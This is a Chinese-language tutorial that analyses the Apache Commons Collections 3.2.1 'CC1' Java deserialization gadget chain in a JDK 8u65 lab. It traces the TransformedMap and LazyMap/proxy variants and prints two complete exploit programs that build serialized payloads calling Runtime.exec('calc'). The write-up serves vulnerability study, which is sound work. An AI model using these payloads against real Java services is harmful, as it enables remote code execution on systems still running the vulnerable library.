Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充,是Java应用开发中一个非常常用的工具库。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。
1:jdk:因为CC1的利用链在8u71的版本就修复了,所以此次实验环境的jdk版本为8u65
注意:将下载好的jdk中的src.zip解压后,把[openjdk](jdk8u/jdk8u/jdk: af660750b2f4 (java.net))的对应版本的sun包复制到8u65jdk的目录下
(将openjdk中的sun包复制到8u65目录下)
2:其次打开IDEA创建maven项目,Project SDK选择你下载的jdk8u65的路径。然后下一步写你项目的名字和存放路径创建即可。
然后选择项目结构,选择SDKs,源路径添加src路径应用保存即可。
3:最后在pom.xml文件中添加commons collections 3.2.1版本:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
我们在复现漏洞或者利用漏洞之前要搞清楚这条链子是怎么发现并利用的,不能只知道怎么用而不知其原理。简单分析一下,在java中,反序列化的调用一定会调用readobject方法,比如,我们要找exec方法就要先找哪一个类的哪一个方法调用了exec,比如1.a调用了exec那么我们接下来就要找哪些类调用了a方法,然后发现1.b调用了a方法,那我们又要找那个类调用了b方法…以此往前推进直到找到 readObject方法。而这需要一个个一层层地去寻找,这也就是为什么叫“链”的原因。
那么首先漏洞发现者是发现了Commons Collections里有一个Transformer类,那我们先分析Transformer接口类,查看它的实现类,发现该接口的重要实现类有:ChainedTransformer、invokerTransformer、MapTransformer、ConstantTransformer
逐个跟进分析,当我们跟进到invokerTransformer类的时候发现它的transform方法,传入一个对象,然后反射调用,其方法值,参数类型,参数都是可控的。相当于一个任意方法调用。
那么我们先试试利用invokerTransformer能否弹出计算器?
现在,我们找到了invokerTransformer.transform方法为危险方法,接下来我们要往前寻找哪里调用了InvokerTransformer类中的transform方法,当然我们要寻找的是不同名字调用transform的方法,如果是同名是没有意义的。
经过寻找,发现Map类是可以进行进一步分析调用的,DefaultedMap和LazyMap中的get()方法调用transform,而TransformMap类中好几处都有调用,最终在checkSetValue中利用:
跟进查看checkSetValue方法里面调用了valueTransformer.transform,进一步查看TransformedMap的构造函数:
他的作用就是接收一个Map进来然后对Map的key和value分别进行一些操作,因为是protect保护方法,我们发现他是从decorate静态方法调用的。我们来试一下:
其中,value的transformer就赋给invokerTransformer,那么当他调用checkSetValue方法的时候,就会调用我们的invokerTransformer.transform方法,并且value必须是可控的。
然后我们再分析哪里调用了checkSetValue方法呢?跟进发现只有AbstractInputCheckedMapDecorator类SetValue方法调用了checkSetValue。
我们可以发现AbstractInputCheckedMapDecorator类是TransformedMap的父类。
再跟进发现,里面有一个MapEntry类调用的SetValue方法,理解一下这里的代码,MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。
我们再来尝试一下:
所以再根据之前的分析,我们现在只需要再寻找哪个类的readobject调用了setValue方法,最终在sun.reflect.annotation.AnnotationInvocationHandler中找到了readobject方法。这里面有一个遍历Map的功能并且调用了setValue 方法。
这就是我们沿着思路一步一步往前寻找利用方法最终找到readobject方法的大致流程图:
接下来我们分析一下构造函数,他接受两个参数,一个type,一个Map(因为memberValues可控,我们可以把TransformedMap放进去),所以接下来我们实例化AnnotationInvocationHandler类并尝试调用memberValues。
注意这里上边不是public,那么只能在sun.reflect.annotation里才能访问到,所以我们要用反射来获取。
但是到了这里之后,我们还发现有三个小问题,第一个就是我们的Runtime对象是自己生成的,他没有继承serialize接口,所以Runtime类不能序列化,但是class类是可以序列化的。
1:反射获取runtime实例,并执行代码:
2:invokerTransformer方法获取runtime实例,并执行代码:
3:如果用第二种方法的话要重复的写多个类,所以我们可以通过chainedTransformer类进行递归调用实现InvokerTransformer方法获取runtime实例,并执行代码
所以到这里我们就解决了第一个问题,但是还是无法运行成功,那么第二个问题就来了,我们分析AnnotationInvocationHandler类中发现有if判断没过,我们需要满足两个if判断才能成功执行SetValue方法。
我们手动调试一下,发现这里memberValues调用getKey()方法,然后再在memberTypes里面查找这个key,没找到就无法继续往下走,经过分析我们需要找到有成员方法的class,而Target正合适,所以我们修改注解为Target并且将map.put的key值改为value。
再次调试发现可以过if了,但是我们发现setValue方法中的值为AnnotationTypeMismatchExceptionProxy,而我们需要的是Runtime.class,此时分析我们最早在TransformedMap类中发现该接口的重要实现类有一个叫做ConstantTransformer的类,分析发现此类的transform方法无论传入什么参数,都会返回构造的时候传入的值。所以只需要最后调用的是ConstantTransformer的transformer方法就可以返回Runtime对象,就能确保value值为我们的Runtime.class
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
// //正常获取runtime实例
// Runtime runtime = Runtime.getRuntime();
// //反射获取 runtime实例,并执行代码
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(runtime,"calc");
// InvokerTransformer方法获取runtime实例,并执行代码
// Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("123.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("123.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator,而TransformedMap链是在写入元素的时候执行transform,LazyMap链是在其get方法中执行factory.transform,在get找不到值的时候,它会调用factory.transform方法去获取一个值。
在前文中我们也提到了“Map类是可以进行进一步分析调用的,DefaultedMap和LazyMap中的get()方法调用transform,而TransformMap类中好几处都有调用”。
我们分析发现get方法获取不到 key 的时候调用了factory.transform,并且发现同时调用了decorate方法,在TransformedMap链时利用过此方法。
所以我们可以再一次通过decorate方法来new一个LazyMap对象,我们接下来继续往前走寻在谁调用了get方法,发现AnnotationInvocationHandler类的invoke()方法调用了get方法,跟进发现memberValues方法,分析是否可控:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
我们还在AnnotationInvocationHandler类中发现了整条链的入口点readobject方法(整条链的入口点还是在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中)并且他会调用一个无参方法entrySet(),但是我们在这里没有找到直接调用Map的get方法,所以我们需要用invoke()方法去调用get方法。
现在我们就需要思考怎么样触发这个invoke方法
如上图:在 invoke 中判断了var5即ParameterTypes长度等于 0,也就是说需要使用无参方法,正好上一步我们发现readobject中的**entrySet()**就是无参方法。
接下来需要用到动态代理的知识:一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用invoke()方法。
所以我们利用readobject中的entrySet()方法,如果我们把memberValues 改为代理对象,当它调用entrySet()的时候,就一定会调用invoke方法然后调用factory.transform执行,完成这条链的利用。
所以这条链大致为:利用动态代理调用被代理类的任意方法能够调用代理处理类的**invoke()方法的特性,从AnnotationInvocationHandler类的entrySet()方法触发该特性,进入到AnnotationInvocationHandler.invoke(),进而调用其中的LazyMap.get()**方法;最后get()又会调用到transform()方法。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc12 {
public static void main(String[] args) throws Exception
{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//LazyMap
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//首先使用LazyMap替换TransformedMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//AnnotationInvocationHandler对象进行Proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//用AnnotationInvocationHandler对这个proxyMap进行包裹
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barray = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barray);
oos.writeObject(handler);
oos.close();
System.out.println(barray);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barray.toByteArray()));
Object o = (Object)ois.readObject();
}
}
整条cc1链子利用图: